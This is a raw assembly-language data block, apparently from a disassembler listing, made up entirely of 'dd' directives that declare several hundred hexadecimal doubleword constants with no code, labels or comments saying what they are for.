		dd 39F10B31h, 0B810B978h, 8CAB07E4h, 26A5ABE3h,	0ADF8F928h
		dd 0EF118A9h, 84BD2C40h, 6603DD22h, 0D80CB160h,	31778E4Ch
		dd 5C9A29C5h, 0D6F24180h, 0EDC07E17h, 0EABD601Dh, 8E8AA043h
		dd 58282204h, 99196200h, 0BA814F35h, 7D2CA0D4h,	0BF9CA81Fh
		dd 3CE7F9Ch, 8C659D64h,	0A0D9063Bh, 6029A01Dh, 72CEF60Eh
		dd 1A1979C5h, 0F82C1711h, 0D0060B85h, 324ABBF1h, 0D2A422E1h
		dd 300C9E48h, 3C43E1F0h, 0A01A14ABh, 0E38480CBh, 9405501h
		dd 25278577h, 0A8209F34h, 14A86Ch, 0E7D7738Bh, 0DDF4C733h
		dd 2022CC33h, 9F6918FCh, 0A92331B6h, 4D468300h,	1C82CF6Ah
		dd 0C0FC7BA3h, 93B30A59h, 0BB64DFFAh, 9A40D169h, 4044CA8Bh
		dd 0CF506670h, 98A813E4h, 41C02CFBh, 0FD8CB7BCh, 0A67F0FE0h
		dd 74020DEFh, 0E0B0379Fh, 0B5067862h, 32CFB6CDh, 0F7C8169h
		dd 0E20E0AD4h, 80A54449h, 784484ABh, 4984A1A4h,	8452D889h
		dd 4222094h, 1D44BCA4h,	1C37766Dh, 5C654B0Ah, 3556C734h
		dd 0C720EF3Eh, 5C9E3CECh, 0C9606648h, 80941477h, 70A408h
		dd 5E63A06Bh, 0E3E72FA7h, 1F0F4905h, 180301D6h,	14624F29h
		dd 0B89977A1h, 68541B9Fh, 0F2CE142h, 808F8E98h,	894253Dh
		dd 5DE30188h, 61F2D73Fh, 1ED422C0h, 0ECC0F05Eh,	0E99E3E47h
		dd 5BA9011Bh, 0D6F1D931h, 18B05211h, 19643040h,	528926h
		dd 27BDAC62h, 0E9CA2235h, 4463E9C1h, 6FB3C210h,	80740049h
		dd 8CEAAFA9h, 0F56413Ch, 0D285256Dh, 67A5C723h,	10A70C98h
		dd 816CD048h, 0CA5F0B52h, 0E80081AAh, 7C53502Ah, 4A10C885h
		dd 8442786Ah, 53292221h, 7708C865h, 5A4A99Ah, 8AAFF19h
		dd 0C807358h, 29BE5791h, 154008Eh, 0D93E2038h, 0EE023668h
		dd 0A232F70h, 6024A112h, 3849552Ah, 0C4A65BE0h,	901C7DC1h
		dd 612EED24h, 0B001457Ah, 4A78BE0Dh, 5C301FE1h,	4E63AB8h
		dd 86770A43h, 58A96822h, 78CADF44h, 195A044h, 4D2A6F0Eh
		dd 5132A3BDh, 802DFB54h, 60B1D51h, 2A3F2BDh, 0EB429D9Ah
		dd 0B8A06645h, 0F83458B7h, 24A9B514h, 796A8CB0h, 892B78F7h
		dd 1432C0h, 4E5CF1Eh, 0E0933071h, 790203CCh, 80702C8Ch
		dd 17643170h, 0E5472A89h, 58A4101Fh, 0A1014AEBh, 255BCC1Bh
		dd 0CC509896h, 0A913DCB8h, 0B317BA38h, 0CDA09E40h, 200A01CEh
		dd 84683FA9h, 133C1940h, 692663FBh, 30800864h, 7500A1D7h
		dd 5CC0F0C1h, 23E76E5h,	4A400762h, 2082637Dh, 0E891542Ah
		dd 832C543Eh, 22ED9FBCh, 54102DD0h, 81E18B58h, 505463F9h
		dd 18887F4Ch, 0FFE50F2Bh, 85C4D375h, 68CA36h, 25924433h
		dd 0BBDB1613h, 1D358024h, 49173705h, 0CEC191C6h, 697D39h
		dd 2F68C0A7h, 0F52EE54h, 7657CC09h, 2E80195Dh, 78304445h
		dd 1C6F45h, 0AE2B3B2h, 0AD064933h, 84990E07h, 3AA06C92h
		dd 58850DCBh, 0F3894404h, 1668E4B8h, 8345CD3Bh,	20961336h
		dd 0F910919Fh, 7A000433h, 0D1F0B684h, 4B00A5E4h, 185B72BCh
		dd 0B545E0Bh, 914CA7ACh, 720DB019h, 132250h, 64324448h
		dd 2EA256CBh, 0DB0539h,	39974BB8h, 6FF038F4h, 0EE643932h
		dd 10FB491Dh, 1B7D7A4h,	929A6209h, 33771ADEh, 0C9047C68h
		dd 4123BB4Dh, 30E6FE22h, 9A18F146h, 3C2CD976h, 2D002F7Fh
		dd 1249EFE0h, 73172243h, 4ABC1996h, 31EB4115h, 4742604h
		dd 0B737B51Bh, 608AB959h, 9A22F300h, 0CFEC72h, 8812145Fh
		dd 4CC5B2B5h, 0BFEFDF0Ch, 74D95801h, 32198802h,	61B1770Ah
		dd 4D80F435h, 0D3FA78ACh, 55FC2A8Eh, 20190084h,	0F4A9F9A1h
		dd 0FA00219Fh, 688AD035h, 277991Ch, 6A0B689h, 0FC8B32EFh
		dd 6F359098h, 0BAB82300h, 81FA3822h, 888500B7h,	8148410h
		dd 8088A7A0h, 36228427h, 547D5C62h, 0B6550B80h,	1720D79Ch
		dd 19F36A0Fh, 9810957Ch, 0CDDCA203h, 6E0C23Ah, 0F603C934h
		dd 741387FAh, 0CC00BD9Bh, 2AF4E335h, 0E8594537h, 74249F83h
		dd 8E848045h, 2A4722FBh, 0A84300F3h, 0C80F2542h, 0E98A029Fh
		dd 19A8B018h, 13B09179h, 0F0EC0935h, 10BED811h,	17FC291h
		dd 2E050A9h, 0FCFB2C1Ah, 0F4F5EEDAh, 64F53FC7h,	0E08B7130h
		dd 0F301AEh, 4A3B5B2Eh,	6E11E28Fh, 0F9857C32h, 3E5C2019h
		dd 54755A84h, 1E182A02h, 40D6267Ch, 0E06FB0A6h,	5C58A6CFh
		dd 4BA174FEh, 8277105Eh, 584C9AF7h, 44F00C18h, 173A9F5Ah
		dd 0DBA51F8Ah, 75833C84h, 840034B6h, 0C1221FCBh, 66019947h
		dd 615044FEh, 488CB493h, 0A15124FBh, 0B675131Ch, 0D88034A9h
		dd 0FF7C0F32h, 8FDC03B2h, 5424156h, 0E480A92Ch,	0D0294E64h
		dd 0DF48065Dh, 28937829h, 4AC95800h, 64C226C5h,	889DE9FBh
		dd 0A7FEE5D4h, 4FAE1F1Dh, 92CE3D02h, 0C449E0DFh, 4510F22h
		dd 19C2B1CBh, 14591069h, 74D88700h, 0E2D354Ch, 6A5A313Dh
		dd 0B8042272h, 8FF13B20h, 0AA331E6Ch, 0BD8C0FAEh, 1C18F64Bh
		dd 48B1FC96h, 95B45E02h
		dd 0D805C328h, 0B5EE3Bh, 0ACFD7FA3h, 9106C2EBh,	227CF45Dh
		dd 7EE0A168h, 26951410h, 0EF672500h, 0F41E11DDh, 796905DEh
		dd 9C64BA6Ah, 4E91BD8h,	9899CC30h, 0BA722EBh, 582A2744h
		dd 9F009374h, 6C17F970h, 7700E0C0h, 32C6C22Eh, 966E0EDCh
		dd 149860FCh, 311AC871h, 4C48796Bh, 22301B8h, 3B6AC55Dh
		dd 22E83245h, 0B5110018h, 49A1FED3h, 671CA828h,	6285793Bh
		dd 78C9362Ah, 8A3CC9A6h, 120C5229h, 0CF74300Dh,	6C88599Ah
		dd 0ABC909F9h, 44A2D7C6h, 3D112181h, 62C02822h,	369B8378h
		dd 77CDCB8h, 10201CA1h,	4330518h, 0D26C7861h, 0A0B888DBh
		dd 30DC9284h, 0EE11CA9Fh, 0E20BA66Fh, 90FCF7E8h, 0F4EFD78h
		dd 4F249B80h, 1E83A78Fh, 0FAD34453h, 9F6846ADh,	420049D3h
		dd 83EEA82Ah, 1FA63A9h,	0C77DC2DFh, 0A6D86B58h,	0FE6090A8h
		dd 57187Fh, 0C585E4BFh,	0D8745329h, 1CACF05h, 28DCB9A3h
		dd 0B5751F1Bh, 4CDC918Bh, 1694044Ch, 0FCD4890Ch, 4E14D808h
		dd 0C9E3A480h, 0CEE00EBAh, 8F74F238h, 9D173F9Ch, 9910102h
		dd 78E4F8h, 0C5E9990Fh,	0E6D36C95h, 77CE460Dh, 10C1519Ch
		dd 2929A424h, 9CC6A4Fh,	0B4943785h, 0F34B5900h,	89330811h
		dd 17010046h, 9DF17E6Fh, 9102A93Bh, 382A61A6h, 0B0002B6Bh
		dd 0E5B155CEh, 6384ECB9h, 0C880619Dh, 8820F807h, 0E23C7F1Bh
		dd 31A9809Bh, 85E76CABh, 12609E63h, 8D0844F7h, 0C0D05055h
		dd 0D77170C7h, 0A2200092h, 631C2FABh, 0C60C3CF6h, 29C4C0DCh
		dd 696F0061h, 709E79DAh, 0B100A13Bh, 0E9219392h, 348EAFBFh
		dd 30685EC6h, 0C33912B8h, 0CD9B7F00h, 3128244Bh, 0F04E0FC5h
		dd 17C10938h, 64799E13h, 0B3887030h, 21F1249h, 7FBDC00Bh
		dd 64097A3Eh, 69D6EBD7h, 9989D07Ch, 7CC4F0B8h, 7621FD65h
		dd 6C21248Bh, 0B0848714h, 3E181358h, 4F41D71h, 73F288F5h
		dd 0C2558177h, 0A55988F4h, 0D8B889BDh, 0FB4C606Eh, 6A428070h
		dd 0E8394F2h, 0AF7953C7h, 7BE9094Ch, 0A54188h, 26DD39C2h
		dd 0A8F92ACh, 66568812h, 0B915C460h, 0D13D1A43h, 0E4C07025h
		dd 0C4B4F91Ah, 698E5AC0h, 0E09F0484h, 0F0B2AAFEh, 9E18185Ch
		dd 60A15436h, 68991279h, 66340852h, 44232D96h, 4F590012h
		dd 586BA165h, 0F0F79A6Fh, 0A0124C3h, 4790D66Ah,	6069EE03h
		dd 3512BA22h, 0C002FE49h, 0E02C1DAEh, 2CC1B438h, 878CE4B8h
		dd 0C43B666Eh, 848CE4ADh, 7E4A9912h, 98242C91h,	78755E60h
		dd 0C3FB0BEh, 6A1F9488h, 0C03008C1h, 0F74671C2h, 6D3A00B1h
		dd 994E04D2h, 3907DD1Eh, 261A4283h, 0F329E05Ch,	9448DC72h
		dd 0BB4F3B02h, 705AAD1Ah, 44B93274h, 0AA4A4380h, 0B813B0h
		dd 9CFE92F3h, 0B439C5D2h, 0E807C874h, 0E9E4C13Fh, 339A804Fh
		dd 711170FFh, 20F10027h, 0DC2F754h, 0CE610409h,	0BBBF0A31h
		dd 391D52D0h, 7100AE06h, 2C6256D0h, 390CFCEEh, 68F3E8C9h
		dd 0E6042208h, 93072300h, 1F2C68BFh, 2839000Fh,	0E30459E9h
		dd 0B0058DDh, 92AFAA5Ch, 0F890A62Fh, 598A33DEh,	81EA918h
		dd 0FA088B67h, 25003E73h, 0A34E34B6h, 50420E8h,	11E8A5Ch
		dd 0EC3C5900h, 2300B792h, 144A64DCh, 10D4FFDh, 0D8EB7E07h
		dd 98DBE42Eh, 6B506878h, 89D26357h, 20B84F76h, 802FD19h
		dd 5EBB7435h, 0A67527C4h, 8A1E2848h, 0A930FAB9h, 1FAA8CE5h
		dd 40983728h, 0B82E8320h, 20C6BE72h, 98B96BFAh,	671B0037h
		dd 92A10E02h, 17018208h, 4358C12h, 0C8915ED2h, 0A5441F14h
		dd 0CC15E0C1h, 1886133Dh, 2119CFDBh, 8162FA30h,	33A93910h
		dd 6368331Fh, 993C2008h, 0FAE9B15Fh, 4E89806Eh,	1464D242h
		dd 0EC47141h, 99CFEF76h, 0D9C22A80h, 1CA8860Eh,	8F00BD6Bh
		dd 7D7955FBh, 0C2BF0234h, 89E00458h, 285D4A4h, 0D72F09BCh
		dd 7D3B46C0h, 0A850DE3Eh, 0E942184Fh, 0C0D810Ah, 0F2D607FCh
		dd 22AE30E4h, 0C4A81156h, 2A0B26D8h, 630F64h, 731D3917h
		dd 21DC6056h, 8C712EFAh, 0FB360303h, 0A0F53518h, 50213093h
		dd 5011804Fh, 44D39815h, 5B50EA12h, 661498DCh, 34022AAh
		dd 0F8F3E051h, 0F0A96A69h, 18B4017Ch, 4143DFDCh, 83D5F760h
		dd 2C3CAA81h, 85082B2Eh, 0F60484B4h, 986C8CD2h,	0E7DC2907h
		dd 0B684BF5Ah, 24103109h, 333DFEAEh, 3885D0B4h,	73148B05h
		dd 0C3EA3AACh, 8CD3C4Dh, 6B015330h, 73182BDFh, 1F1E188Ch
		dd 940C32E1h, 0E8E7F4A1h, 70922A3Ch, 9C5752F8h,	0F6BB6A00h
		dd 0A7F2F936h, 0D2411C0Fh, 0F7420221h, 74049D3h, 4668E810h
		dd 99813B00h, 0AE936C18h, 802FFADFh, 29CF081Eh,	1C3720DBh
		dd 0F0D8CC1h, 8D01FF79h, 0A0CF815Dh, 0E5EC956Fh, 31B8411Eh
		dd 94F9A040h, 14361802h, 0B20E6630h, 851498A0h,	311A671Eh
		dd 0FF0E907Eh, 111D2C20h, 0D8AA09DBh, 89001CA6h, 0A939662h
		dd 0E66E6F4h, 498B7CEEh, 0AA04BC55h, 0C1247F0Eh, 0C9BF7284h
		dd 0F3918141h, 703FF9CEh, 9ACC53D8h, 30A80148h,	0D4DBADCBh
		dd 0C9898C13h, 5AE79BDh, 3429AF9Fh, 0F430455Bh,	80BC5D6Dh
		dd 0A7388C73h, 220053B1h, 9CD04F4Ch, 98D7C72h, 0B69421C8h
		dd 47CC3801h, 4598AAEh,	824580FBh, 9510E048h, 6781D840h
		dd 44EE2ABFh, 0CC9430F8h, 27008BA4h, 0D3DF3FB7h, 0C8860DCFh
		dd 2080D449h, 31129D30h, 18E049FAh, 906C9E10h, 0FE981F38h
		dd 0ED1DB080h, 0FC74CC71h, 0A63C9078h, 0E1FC03A0h, 0B7B6F32Dh
		dd 0C9CA36C7h, 3B2EEA66h, 0C54AC48h, 2646F415h,	7F243C49h
		dd 0BC997060h, 198A7240h, 1148739Dh, 748200DBh,	30F9DCD6h
		dd 142FAC1h, 92FD2DEDh,	49FA262Ch, 0AA6000A0h, 79EC8DD0h
		dd 0D053105h, 9842B685h, 44DC04B9h, 0A2C001E8h,	1EFBE186h
		dd 33A98005h, 80449395h, 2ECD0114h, 0BD64DFE3h,	0B9D2C885h
		dd 0C9A649Ah, 0D5545222h, 30D2D8D0h, 0A1181ABCh, 7BB6E001h
		dd 0BAC0D31Eh, 0F5A7C1F0h, 928EEACCh, 0FF82680h, 57556020h
		dd 0AB0AD08Dh, 9059C544h, 7A1840A6h, 0F69159h, 49550F93h
		dd 6699C976h, 0F7E0BF03h, 1611BBDBh, 46E49BD1h,	588EBC64h
		dd 48C91526h, 0A1404444h, 0A871FE20h, 91245A00h, 60E4C412h
		dd 42A30E62h, 0C5A07982h, 749057D1h, 0EC7581CEh, 0A4B94153h
		dd 8C984CE0h, 0C8D9DCC4h, 66E963C4h, 0A1290074h, 8162C19h
		dd 13C0207Fh, 7094188Ah, 5DFA8E26h, 461F4801h, 7C642F4Dh
		dd 23E0026Bh, 0A9F7F9D8h, 0D200644Eh, 0B08B956Dh, 16474327h
		dd 3037B736h, 45C0AA14h, 0EC14E12Ah, 3D7DB19h, 5022FA71h
		dd 12B04E00h, 0C82854CDh, 68A0BF0Dh, 430B0FFh, 5711E992h
		dd 0A07980DAh, 653A2448h, 6F3800B0h, 644BFB37h,	0F74C1E11h
		dd 811C4835h, 0AB39543Ch, 5C901864h, 5C4C20F1h,	61061EC6h
		dd 32F21300h, 0C2E78291h, 0DE8C1C6Bh, 99DCABDh,	9C119F84h
		dd 9EB9189h, 103D0A75h,	8A628650h, 64915C8Eh, 0F740D3B9h
		dd 0B1400426h, 0AA859213h, 2CDE7840h, 586E7715h, 79244CABh
		dd 47DD44D0h, 0E6B0C901h, 2A04A7h, 4AF5BCCDh, 7245CF0Eh
		dd 9780D499h, 0E080A8D4h, 35B00AC2h, 80848ED3h,	0FC62A6D1h
		dd 0DE047E31h, 0BF33171Ch, 0A8280F09h, 202B88h,	0B116BDC4h
		dd 0EC2C4423h, 2967D0A7h, 5664A04Ch, 6700E48Bh,	699F9D4Bh
		dd 0E4091783h, 3947744Ah, 0E3D84884h, 0B29500EBh, 79CD2265h
		dd 0D7FA7183h, 721CF00h, 3CBA5715h, 1178429Ch, 0C0584F52h
		dd 11158B74h, 2214729Ah, 191E2249h, 63378000h, 0DC0701A7h
		dd 0D61A1277h, 56287092h
		dd 0F6005428h, 7204605h, 365A8C3h, 6CB3223Dh, 2800EEBFh
		dd 7DB981BCh, 4AE2CE0h,	0ADA94592h, 8228946Bh, 0DB27D230h
		dd 0E109259h, 0B4309710h, 0B0B051D0h, 918000FDh, 9A8254C7h
		dd 6DE0995Eh, 2C23DF02h, 440C1764h, 61E50F64h, 65AE09C2h
		dd 9A3820B3h, 2CA87711h, 0C7005EC8h, 1ECD0289h,	24937C4h
		dd 1D959BF2h, 3846BF92h, 3FD3E03h, 4844BB3Ah, 34C17C19h
		dd 0C07DF042h, 77037925h, 48F720D8h, 0DFE925A5h, 84845032h
		dd 90C82554h, 344A8264h, 4E314CE0h, 376629C1h, 0B3C09FC6h
		dd 5710A95Eh, 97F68C10h, 0DEE1CB00h, 55854E22h,	0EBB90BA8h
		dd 1C84B80Eh, 0E304431Bh, 4915D88h, 60CE0174h, 98853354h
		dd 40582664h, 2494D3D4h, 5914D60h, 0DB563073h, 1148AB19h
		dd 8268E90Fh, 0AEA3E086h, 0A4424E7h, 8B7B55E4h,	2AFBC098h
		dd 0DB00AC27h, 0E92D469Ch, 446C7F04h, 4984E2E6h, 43C13C81h
		dd 0E4E7FCEBh, 0D6009ECCh, 0C249B16Eh, 2A5DEE36h, 2AF4CAE8h
		dd 1F8C4571h, 40277C17h, 3DF919F7h, 7601ED24h, 0DCEF0689h
		dd 83D4A61Dh, 4464B0E0h, 0D200696Fh, 4225EB28h,	72BAF18Ah
		dd 3E893880h, 92C9D81h,	647CC599h, 57300F80h, 0BA34A1D8h
		dd 6BFC70h, 3E253862h, 0A1B402A0h, 0FDAE1D02h, 6CEC89E4h
		dd 0FC0E4DA8h, 505AE702h, 5CC4A45Eh, 0C8E88648h, 669C6454h
		dd 41189480h, 4C243ECBh, 8600B298h, 0E82FDF82h,	7F1F5288h
		dd 60B70049h, 8332F7EFh, 28A0973Ch, 74BBA9C6h, 30EA280h
		dd 0EC55A06h, 0BF63FA67h, 0B34FBBE3h, 78B2AB9h,	3146E2C4h
		dd 0E3E9943h, 0FC1F028Dh, 405A56CFh, 1FFF827h, 0ABC29796h
		dd 987DA885h, 91D90F40h, 67F17Bh, 9DCDB600h, 0F9336AEEh
		dd 0C060704Eh, 4652E4Ah, 0F35DD972h, 28EC8CE4h,	70DD9D00h
		dd 229144Dh, 95777FDh, 94E2E0A9h, 0B300D4CCh, 0DAB6C0EDh
		dd 0E7412A9h, 54A667FBh, 25FA5721h, 9155ED29h, 3402D699h
		dd 5137114h, 0B4A698B8h, 0E400157Ch, 2B68463Dh,	9C64984h
		dd 5DDE6739h, 40761CA4h, 18E21CD7h, 738009BCh, 1C49C68Ch
		dd 9C8215D3h, 43942812h, 0C4619Eh, 6DD0F4BCh, 99CD0552h
		dd 0D236E438h, 285A311Ch, 0BEC7E000h, 53B02835h, 0C3625A9h
		dd 10D9E811h, 5D4495h, 43AB31F9h, 66BD9025h, 7A338F01h
		dd 764BD2D5h, 1DBC9188h, 140F74ACh, 402272BBh, 0E7909056h
		dd 312109FDh, 5060B693h, 0F4620489h, 64AF5CB9h,	4BD6003Ch
		dd 0D3B45DA1h, 19D65217h, 80097C08h, 21A2B86Bh,	10C05BFCh
		dd 11F4EC75h, 973010Dh,	6E65068h, 0A899D730h, 868C2CB7h
		dd 4951790Ch, 4576A48Eh, 0AFBC4856h, 4731920Eh,	0A7358064h
		dd 919D19B3h, 0DE1184h,	5390BBE6h, 2A80C2Ah, 0B172D478h
		dd 1498F813h, 5E00E884h, 93D7FC95h, 16D5E039h, 8907D855h
		dd 0B9E41220h, 0C410F489h, 4EFC6E98h, 84FCE95Ch, 44501BCh
		dd 313009DDh, 35AB0493h, 6F19E088h, 60AB8226h, 2D007411h
		dd 0E6B86630h, 0D1004645h, 0DAE9B21Bh, 1033464h, 13FE107Eh
		dd 445C7473h, 2C41E28h,	0BF8F914Ah, 22DB3C84h, 283C203Ah
		dd 73030669h, 7C93F292h, 0FD1783Eh, 6FE8773Fh, 0C5CCF405h
		dd 91FC8859h, 0D8285645h, 11553118h, 0FD121DEEh, 4C310D62h
		dd 90630875h, 3CBA8627h, 38BB1D61h, 0BFBC8184h,	0B99C90A4h
		dd 0BE606C6Bh, 49467219h, 0E92FFCCCh, 0D6BAF600h, 0F264495Dh
		dd 25160165h, 0FB22C540h, 0E6A05477h, 38691F18h, 0C5D7097Fh
		dd 0CE501085h, 0AC798A0Eh, 1BAC2800h, 0BC23B7h,	83A5D2DFh
		dd 8B4015E5h, 88F34F25h, 698018F8h, 87C8CA6h, 3EA7B49h
		dd 0D87DC196h, 0B6B94737h, 57C98A6Ah, 0F80C4E7h, 0D7CE8C3Bh
		dd 0D0B6004Fh, 0E119DFDCh, 3C02E271h, 0D432E35Fh, 0DEE0A7CEh
		dd 0D6DB8918h, 0F6E2DC13h, 10C220C6h, 958DDE0h,	1D008CC4h
		dd 0A850AFFCh, 2E43C90Ah, 0E9549A57h, 8E5A90C6h, 0B4CE7443h
		dd 0E259105Eh, 804488E1h, 7C40B2B5h, 0A67E0F19h, 4D7DFA00h
		dd 0E7DDD4EAh, 5B991E94h, 8C58527Fh, 0E13BAAE8h, 542780FEh
		dd 0E7644295h, 58997D05h, 86DC08FFh, 8CE89A72h,	4C9FE424h
		dd 0B10F394h, 14FC885h,	9014D5BCh, 1BC23050h, 96600ACh
		dd 0EF961191h, 14005561h, 73C347E8h, 596C0FCCh,	56801C5Fh
		dd 0C8FA49B7h, 1BA02F03h, 0A888C0F3h, 8214F2Eh,	8F479E05h
		dd 0D65C750Eh, 8485E021h, 671C91ACh, 71D7A07Fh,	9800DDE5h
		dd 66870A86h, 0B6EEDF1h, 6F9E3214h, 43D27004h, 990DB64Ch
		dd 0BA4283B4h, 0DB306AADh, 0B6728024h, 0FF1B6024h, 801ADD3Fh
		dd 0F4B0CA86h, 2B3BF3D6h, 81FCB6AAh, 1DB27170h,	95C7E804h
		dd 0BB11A9C8h, 4C803AA7h, 164D7153h, 580C2426h,	204E0D91h
		dd 96B8C34h, 49642200h,	1FE8E246h, 390D02F3h, 36DE841Ah
		dd 0AE5C1909h, 40E760h,	0C054C29Ah, 0C4663447h,	341BF828h
		dd 251CD322h, 0AC38F704h, 418A3B90h, 29D2DFB0h,	1E4AE8C4h
		dd 46368440h, 0B15AB2h,	9FA533DEh, 7E168FBCh, 442619F0h
		dd 84F849Dh, 22AA80D1h,	86D73E93h, 2995AF25h, 7DC00094h
		dd 2F9E4C10h, 1C90F804h, 3468543Ch, 8B61CC29h, 0A1D01695h
		dd 0F78A1965h, 0C08C18Ch, 0DC4A1398h, 0C17426D3h, 7896D8B0h
		dd 3A097587h, 364EC49h,	7953BE46h, 2FA2B454h, 1D69CA2h
		dd 8028651Ah, 56546BC1h, 885AF49Ah, 204B1860h, 0DF6300A5h
		dd 0B626385Eh, 0B83E47AEh, 28428B06h, 0E0D0C480h, 0BCE0587Eh
		dd 0BF5F278h, 0FE2452D6h, 0DF57C430h, 0D68D81C0h, 179ECF4h
		dd 8C2A0DD5h, 138C4A7h,	84C6E304h, 9E404254h, 0B99B7D2Eh
		dd 75FD9A07h, 6DD24B74h, 0C0896081h, 0BC542F9Dh, 0A80F509Ch
		dd 64ECA1A7h, 0ECF2D5DCh, 80E95337h, 0FCF9D6A0h, 1D44B101h
		dd 0C2E5D75h, 15803479h, 2C0F664Bh, 7CB6200h, 1AB8EC83h
		dd 0D686005Dh, 581B763Eh, 0F44B051Ch, 0E8DA6425h, 0FB009121h
		dd 729D1F55h, 9B0C07D5h, 56C234DEh, 0D45D062h, 0F0D23045h
		dd 7D184431h, 83080071h, 8F0FE1A7h, 20007538h, 0C03ED35Eh
		dd 0EA4EE2h, 819208F6h,	7F57D56Dh, 308B872Ch, 0B6B280EEh
		dd 0F47C1FBh, 7B88C495h, 0BB2DD880h, 0DC17C979h, 5FA084F7h
		dd 0C15E6FA7h, 55116C34h, 0E0235B43h, 2DC5E8FBh, 0BA3F0FEFh
		dd 3300E023h, 0A55466D8h, 0BC88534Ah, 0E839783Fh, 0BB2C0F49h
		dd 1481864Bh, 445A2993h, 759421C8h, 287256h, 1565C311h
		dd 16242D5h, 0BECD4ED9h, 234AC0F4h, 9F1377B8h, 0BA9794h
		dd 0B698AE94h, 0C214B973h, 0C78087E1h, 0D3702372h, 89E5F0h
		dd 666BFCA6h, 164B6845h, 0B9B4C200h, 0E28BAB84h, 0DA751342h
		dd 2234124Eh, 70D231E4h, 2AA5E607h, 0BE103494h,	3286DA6h
		dd 8725ED0Ah, 7F90BE3h,	8C6362h, 0D360199Fh, 0AD45E4h
		dd 40D738B9h, 470AFF78h, 0F39CEE00h, 3C0CA816h,	0D9C10FBCh
		dd 30132A9Eh, 90A95168h, 56F22701h, 0BFA7260Dh,	506ED2E8h
		dd 4A048C5Eh, 580889DCh, 0B025BF3Ch, 0E246455h,	8DA32B8Fh
		dd 0AD9EE880h, 0A07C37CFh, 448B6C20h, 852CCB79h, 6D1CA3B0h
		dd 0EB888100h, 3F3AF30Ah, 79BCA0F0h, 0E11158C8h, 21144CE6h
		dd 761105h, 9A6DA97Ch, 3A2D5AB1h, 38E42785h, 16D532DCh
		dd 12420E00h, 0C5D3AFCEh, 8C22042Bh, 8BF70509h,	3C100190h
		dd 51124798h, 606C4FC4h, 1922A690h, 0D435DC1Ch,	6C826145h
		dd 54949810h, 0C2C00037h, 0B68909FCh, 0C724DE9Ah, 8202CCC6h
		dd 483C91BEh, 17C25350h
		dd 98690699h, 0DC25673Ch, 1814BAh, 4A22F8E7h, 42D2A6EFh
		dd 0DCB15200h, 233E3F78h, 82E10291h, 0CB98E811h, 72DE30C0h
		dd 73ABF317h, 72307489h, 0DB772FBFh, 2081D899h,	0C896558Ch
		dd 295200BFh, 179A1E2Bh, 0CCF34867h, 7FB8045Eh,	0CCBC4778h
		dd 90394833h, 2FBBDD1h,	0D7725B86h, 88A0558Ah, 4FDFBAE8h
		dd 5F79B912h, 0D3836030h, 96C7001Eh, 0FAB3D04h,	0E500509Fh
		dd 0C45CFD76h, 98E7239Eh, 0D3820067h, 671D4688h, 94090EA1h
		dd 0A4C87CDEh, 0DCCBD574h, 4FE7AC01h, 60A9C6E6h, 72302D8Ch
		dd 42A2793Ch, 0E56D1FE2h, 14FDC0D7h, 464B908Bh,	93C77C3Ch
		dd 20219EC0h, 39AD5E75h, 0C85BE498h, 2D6830Bh, 0A2AA83FDh
		dd 9D3CC831h, 7581C45Dh, 4C1CE257h, 900A253Ah, 18DE5D68h
		dd 0B1023DCDh, 0DB255ECBh, 9F864C0h, 0B04A091Ch, 2258BC85h
		dd 30A48BBCh, 0D10D225Fh, 21780ACh, 0C4463A32h,	0F107637Dh
		dd 2F13DE85h, 0C864E63Eh, 906B0190h, 0E3EF50CBh, 82B8DC4Eh
		dd 117D7000h, 0E87322DAh, 458054Bh, 0A25963E0h,	904403E4h
		dd 0D1E86C14h, 0E8911149h, 92B90165h, 83D51E41h, 1D8AAD4h
		dd 57D76C94h, 2A8AC497h, 5260E467h, 31E22EAh, 13E7D894h
		dd 29E6FA44h, 728B4700h, 83579F3Bh, 1B8E60Fh, 8665150Ch
		dd 146EDE14h, 0A4F4D8h,	923690A8h, 0A213B1CFh, 708FF000h
		dd 8A8619ADh, 55C20C3Dh, 72482714h, 388084B6h, 1C8C9EEFh
		dd 552C0E08h, 876025B7h, 941D9567h, 24104926h, 1C15D650h
		dd 1ECD9A8h, 8EE262FEh,	8C65F81Eh, 0BF640C02h, 5C051881h
		dd 0BDDB42A8h, 0A59758F1h, 0A8AD1030h, 30D000FBh, 726D2D12h
		dd 803F16E1h, 8F007701h, 0BCC6B1EEh, 0E8DC5898h, 7748A102h
		dd 307CE10h, 457D7200h,	60161B5Bh, 55C6266Eh, 0F8604F4Ch
		dd 0FA3097B9h, 5AE22600h, 0AABC634Fh, 1417FAD6h, 0E81CA112h
		dd 0B6165922h, 0F4905BF3h, 2C0A1B09h, 2C0CE41Ah, 3C826054h
		dd 798A6D97h, 0A7DA0710h, 0C46F050h, 4C018914h,	6D2AC90Fh
		dd 0E642F96Eh, 0E4D862E3h, 0A1C009C8h, 0BC096663h, 0ECC9C499h
		dd 7E3AB84Eh, 414B0270h, 9876DEBBh, 1DF1E0h, 0E524D5CCh
		dd 0E0D6926Ah, 82D93E00h, 25D4F5C6h, 0D5DE1391h, 0CB181FC4h
		dd 88468B57h, 7AAC8F3h,	7628AF02h, 0D172B6C0h, 0A2BD004Ch
		dd 115E689h, 94E2052Dh,	5F705Ch, 1FDD5AE1h, 0AE5B85A9h
		dd 15EDB601h, 0A29DA4FBh, 5BC943ECh, 0D5083055h, 1C279334h
		dd 0E0F01904h, 3DA8D8h,	254E6501h, 4B1E639Ch, 0CB957B02h
		dd 907366E3h, 17926BD0h, 29F77756h, 0C472F8h, 4353F4EFh
		dd 0AFB817h, 0C4CCEA7Fh, 15E0795Dh, 0DC131D72h,	0EC880AD6h
		dd 564484D7h, 5ACC00B8h, 0F3D0EAC7h, 6D6BF9F4h,	0E8110AFCh
		dd 1765060h, 42CE02D7h,	37B8E0F5h, 215C1C50h, 825E80ECh
		dd 0E030E9E4h, 0ED9E128Fh, 0DC4CB14Dh, 876952B9h, 0F8180230h
		dd 94D389h, 0FD64B77h, 3CC0DAA1h, 0EFE5FDB5h, 9A0E1C97h
		dd 0EED945AAh, 0F1E801E4h, 4CB68F1Bh, 0B0006184h, 12DF7733h
		dd 7CE5E9h, 0B695D988h,	0F28798C6h, 54EC8F2Eh, 0BACC2160h
		dd 42490086h, 33BD6F69h, 8001DC3Bh, 0B52D3CFCh,	0B2712289h
		dd 3304D9D0h, 85A9EAE3h, 72644AA0h, 4092B4Bh, 1D419B9h
		dd 0B09368E0h, 99350098h, 0F5A7BEAEh, 833BC2C1h, 0F1EF8126h
		dd 5271A8EAh, 78C9C050h, 0DF51F08h, 0B9AA01EBh,	0DCC4750Fh
